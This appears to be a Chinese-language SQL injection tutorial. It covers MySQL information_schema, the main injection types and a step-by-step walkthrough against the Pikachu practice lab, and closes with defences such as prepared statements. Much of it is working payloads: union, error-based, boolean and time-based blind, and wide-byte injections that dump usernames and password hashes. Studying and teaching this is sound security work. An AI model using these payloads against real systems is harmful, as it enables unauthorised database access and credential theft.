SQL注入
SQL注入
原理:通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,它目前是黑客对数据库进行攻击的最常用手段之一。
知识点
Mysql5.0以上版本存在information_schema系统数据库中存放所有的数据库的相关信息,一般的我们利用该数据库可以进行一次完整的注入
数据库:
information_schena.schemata——系统数据库中schemata数据库包含所有数据库
information_schema.tables——系统数据库中tables数据库包含所有数据库、数据库中所有表information_schema.columns——系统数据库中columns数据库包含所有数据库、数据库中所有表、数据库中所有表的列
字段:
table_schema——存储数据库名的字段
table_name——存储数据表名字段
column_name——存储列名字段
函数:
version()——MySQL 版本
user()——数据库用户名
database()——数据库名
@@datadir——数据库路径
@@version_compile_os——操作系统版本
concat(str1,str2,…)——没有分隔符地连接字符串
group_concat(str1,’‘,str2,…)——连接一个组的所有字符串,并以分隔每一条数据
密码一般为md5加密,通过报错获取密码可能显示不全,使用截取mid()函数一半一半获取,再拼接mid(pasword,1,16)+mid(pasword,17,16)=md5(password)
left(string, n)——获得字符串左部指定个数的字符
right(string, n)——获得字符串右部指定个数的字符
substr(string string,num start,num length)——获得字符串,从start到指定length的字符
ord(string)——返回第一个字符的ASCII码
ascii(string)——返回第一个字符的ASCII码
if(条件表达式,true,false)——if函数根据条件表达式的结果为true或false,返回第一个值,或第二个值
SQL语句操作符:
union——连接两个以上的 SELECT 语句的结果组合到一个结果集合中。结果集合会删除重复的数据
union——连接两个以上的 SELECT 语句的结果组合到一个结果集合中。结果集合不会删除重复的数据
order by——对查询结果排序
limit——limit 子句可以被用于强制 SELECT 语句返回指定的记录数
SQL注入流程
原理:攻击者通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令
注入流程:找到注入点,闭合,判断字段列数->显示位置->数据库名->表名->列名->敏感数据
判断注入点:
判断一个链接是否存在注入漏洞,可以通过对其传入的参数(但不仅仅只限于参数,还有cookie,HTTP头等) 进行构造,然后对服务器返回的内容进行判断来查看是否存在注入点。
注入分类:
- 参数类型分类
- 数字型注入
参数为数字,通过将参数修改为2-1,如果语句执行,存在数字型注入
- 字符型注入
参数为字符串,通过在参数后添加’,查询语句报错,存在字符型注入
- 提交方式分类
- GET注入
- POST注入
- COOKIE注入
- HTTP头注入
- XFF头
- Cookie
- Host
- 按照语句的执行效果
- 联合查询注入
通过union来将多条语句的结果组合到一个结果中
- 宽字节注入
宽字节注入是由编码不统一引起的,一般是在PHP+MySQL中出现
- 报错盲注
输入错误参数,页面会返回错误信息,或者将语句的查询结果直接返回到页面
- 布尔盲注
无法直接通过页面的返回内容来获取信息,页面只会返回真假,你需要对一个个字符进行测试
- 时间盲注
页面无法直接返回真假,需要构造条件语句查看时间延迟的语句是否成功执行(观察页面的返回时间的长短)
- 堆查询注入
堆叠查询可以构造执行多条语句(部分数据库支持)
- 二次注入
将攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入
尝试闭合:
存在字符型注入,通过查询语句执行失败,查看页面报错,进而判断闭合字符
常见基础闭合字符: ‘ ” % )
注释字符:—+ #
使用基础闭合字符进行组合判断,使用注释字符进行注释原有查询语句之后的内容,达到闭合的目的
例如:’—+ ”# ‘)—+ ”)# %’)—+ ‘))# ”))—+
字段列数:
- 使用union select 进行判断列数(不推荐,列数比较多时,判断次数较多)
例如:
1' union select 1,2,3#
- 使用order by 进行判断列数(推荐,折半判断,效率较高)
例如:
1' order by 4#
判断显示位置:
只适用页面有返回查询信息的情况
知道查询语句的字段列数,通过使用union select 进行判断数据显示位置,以便于之后注入数据显示
注:联合查询当第一个查询语句查询数据不存在,则显示第二个查询语句的数据,所以使用-1作为参数
-1' union select 1,2,3#
爆破数据名:
- 联合查询注入
例:
1' union select 1,**database()** #
1' union select 1,group_concat(0x7e,**schema_name** ) from information_schema.schemata#
- 宽字节注入
例:
1%df' union select 1,**database()** #
1%df%5c%5c' union select 1,**database()** #
- 报错盲注
例:
1' and updatexml(1,concat(0x7e,(**select schema_name from information_schema.schemata limit 0,1** )),3)#
1' and extractvalue(1,concat(0x7e,(**select schema_name from information_schema.schemata limit 0,1** )))#
- 布尔盲注—依次爆破字符
例:
kobe' and ascii(substr(**database()** ,1,**1** ))=**111** #
- 时间盲注—依次爆破字符
例:
kobe' and if(ascii(substr(**database()** ,1,**1** ))=**112** ,sleep(5),null)#
爆破表名:
- 联合查询注入
例:
-1' union select 1,group_concat(0x7e,table_name) from information_schema.tables where table_schema=database()#
- 宽字节注入
例:
1%df' union select 1,group_concat(0x7e,table_name) from information_schema.tables where table_schema=database()#
1%df%5c%5c' union select 1,group_concat(0x7e,table_name) from information_schema.tables where table_schema=database()#
- 报错盲注
例:
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()** limit 0,1** )),3)#
1' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()** limit 0,1** )))#
1' and (select 1 from (select count(*),concat((select **(** select table_name from information_schema.tables where table_schema=database()** limit 0,1)** ),floor(rand(0)*2))x from information_schema.tables group by x)a) #
- 布尔盲注
例:
kobe' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=104)#
- 时间盲注
例:
kobe' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,**1** ))=**104** ,sleep(5),null)#
爆破列名:
- 联合查询注入
例:
-1' union select 1,group_concat(0x7e,column_name) from information_schema.columns where table_schema=database() and table_name="users"#
- 宽字节注入
例:
1%df' union select 1,group_concat(0x7e,column_name) from information_schema.columns where table_schema=database() and table_name="users"#
1%df%5c%5c' union select 1,group_concat(0x7e,column_name) from information_schema.columns where table_schema=database() and table_name="users"#
- 报错盲注
例:
1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name="users"** limit 0,1** )),3)#
1' and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name="users"** limit 0,1** )))#
1' and (select 1 from (select count(*),concat((select (select concat(column_name,0x7e) from information_schema.columns where table_schema=database() and table_name="users" limit 0,1)),floor(rand(0)*2))x from information_schema.tables group by x)a) #
- 布尔盲注
例:
kobe' and (ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 0,1),1,1))=105)#
- 时间盲注
例:
kobe' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 0,1),1,**1** ))=**105** ,sleep(5),null)#
爆破数据:
- 联合查询注入
例:
-1' union select 1,group_concat(username,0x7e,password) from pikachu.users#
- 宽字节注入
例:
1%df' union select 1,group_concat(username,0x7e,password) from pikachu.users#
1%df%5c%5c' union select 1,group_concat(username,0x7e,password) from pikachu.users#
- 报错盲注
例:
1' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from pikachu.users** limit 0,1** )),3)#
1' and extractvalue(1,concat(0x7e,(select concat(username,0x7e,password) from pikachu.users** limit 0,1** )))#
1' and (select 1 from (select count(*),concat((select **(** select concat(username,0x7e,password) from pikachu.users** limit 0,1)** ),floor(rand(0)*2))x from information_schema.tables group by x)a) #
- 布尔盲注
例:
kobe' and (ascii(substr((select username from pikachu.users limit 0,1),1,1))=104)#
- 时间盲注
例:
kobe' and if(ascii(substr((select username from pikachu.users limit 0,1),1,**1** ))=104,sleep(5),null)#
一、数字型注入(POST)
数字型注入主要特征
-
参数为数字
-
参数进行运算,依然可以查询语句执行
选择数字,进行抓包,发送到Repeater模块
修改参数,id =1’,send,报错,存在注入点
将参数修改为id=2-1,成功执行,是数字型注入,不需要闭合
猜列数id=1 order by 8#,折半猜列数
列数为2
判断显示位置
爆当前数据库名和用户
1 union select user(),database()#
爆当前数据中的所有的表
1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
爆当前数据中的所有的表
1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#
获取表中的数据
1 union select username,password from pikachu.users
二、字符型注入(GET)
字符型注入主要特征
-
参数为字符
-
注入是,需要闭合字符串
输入1’,判断是否存在注入点,报错,存在SQL注入,为字符型
测试使其闭合的符号,使用1′ or 1=1#进行尝试,成功闭合,闭合字符为’
判断列数
1' order by 8#
判断显示位置,使用union进行合并查询,查看显示数据的列数,因为没有1的用户名所以不显示第一查询语句的内容
1' union select 1,2#
之后注入步骤除了闭合字符之外同数字型注入(POST)一致
三、搜索型注入
搜索型注入主要特征
- 可能在网站搜索框输入参数,查询语句结果为模糊查询,可能存在搜索型注入
输入1’,判断是否存在注入点,报错,根据报错内容,存在SQL注入,为搜索型 ‘%name%’
测试使其闭合的符号,使用1′ or 1=1#进行尝试,
成功将前面闭合,使用#将后部分注释掉, ‘%name’ or 1=1 #%’
之后注入步骤除了闭合字符之外同数字型注入(POST)一致
四、XX型注入
XX型注入主要特征
- 闭合字符比较复杂
输入1’,报错,存在SQL注入,观察报错语句,猜测闭合字符为1′)
进行尝试
1') or 1=1#
之后注入步骤除了闭合字符之外同数字型注入(POST)一致
五、Insert/update注入
Insert/update注入主要特征
-
大多在注册和修改信息等界面存在
-
需要前后都进行闭合
-
只可以使用报错注入方式
进入注册,输入1’ 测试是否有注入点
存在注入点,因为使insert语句,不能使用union进行查询,可以使用报错注入
爆破数据名
1' or updatexml(1,concat(0x7e,database()),0) or '
爆破数据表
1' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),0) or'
由于updatexml一次只能显示一行,需要调整limit参数,依次爆出表名
1' or extractvalue(1,group_concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1))) or'
效果同上
爆破列名
1' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='pikachu' and table_name='users' limit 0,1)),0) or '
知道数据库名和表名和列名可以爆数据
爆破用户名
1' or updatexml(1,concat(0x7e,(select username from pikachu.users limit 0,1)),0) or '
密码一般为md5加密,通过报错获取密码会显示不全,使用截取mid()函数一半一半获取:
1' or updatexml(1,concat(0x7e,(select mid(password,1,16) from pikachu.users limit 0,1)),0) or '
1' or updatexml(1,concat(0x7e,(select mid(password,17,16) from pikachu.users limit 0,1)),0) or '
六、Delete注入
Delete注入主要特征
-
后台管理界面中删除命令,可能存在该注入
-
只可以使用报错注入方式
先留言,点击删除,抓包,发送Repeater模块
发送Repeater模块
在Burp Suite对payload进行url编码
之后报错注入步骤同Insert/update注入一致
七、Http header注入
Http header注入主要特征
- 该类型注入,需要系统记录用户访问网站的http header的字段
输入账号密码,显示user-agent和http-accept记录在数据库中,尝试进行SQL注入
发送Repeater模块
1、UA头
存在SQL注入
八、盲注(base on boolian)
布尔盲注主要特征
-
没有报错信息
-
不管输入的数据是什么,执行后都只有两种情况(0和1)
-
在输入正确情况,利用and 1=1 / and 1=2 进行判断
输入正确用户名,利用and,判断是否正确执行
kobe’ and 1=1#
在and之后构造判断语句,通过是否正确执行,依次判断数据的字符
kobe' and ascii(substr(database(),1,1))=111#
判断出数据库名第一个字符为’p’ ascii为112
kobe' and ascii(substr(database(),1,1))=112#
依次判断数据库名、表名、列名、数据
九、盲注(base on time)
时间盲注主要特征
-
无回显信息
-
通过sleep()函数,根据网页执行的时间,判断查询语句是否执行
执行语句,F12后台中网络,查看网页执行时间是否为5秒左右
kobe' and sleep(5)#
执行语句,查看网页执行时间是否为5秒
-
5秒左右,执行成功,判断出字符
-
大于5秒或者小于5秒,执行失败,修改判断符号和数字,多次判断,依次判断字符串
kobe' and if(ascii(substr(database(),1,1))=112,sleep(5),null)#
kobe' and if(ascii(substr(database(),1,1))=112,null,sleep(5))#
十、宽字节注入
原理:mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字
例如%aa%5c 就是一个汉字
addslashes()函数
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符:单引号(’),双引号(”),反斜杠(\),NULL
%df 吃掉 \
kobe%df' or 1=1#
将 ‘ 中通过添加\形成\将 \转义了,从⽽单引号逃逸出来就会引发注⼊漏洞
例如可以构造 %df%5c%5c%27 的情况,后面的%5c 会被前面的%5c 给转义
kobe%df%5c%5c' or 1=1#
防御措施
-
表单过滤,验证表单提交的合法性,对一些特殊字符进行转义处理
-
数据库权限最小化
-
查询语句预编译、绑定参数或者使用存储过程(例如:PDO)
PDO 防注入的原理:将查询语句和具体的参数值分开发送到数据库服务器,在语句执行前参数值不会被解析。
PDO 禁用模拟预处理语句,将变量和SQL模板分两次发送,
—如果查询的其他部分是由未转义的输入来构建的,则仍存在 SQL 注入的风险
—占位符有两种形式,一种是通过命名参数,另一种是通过问好占位符的形式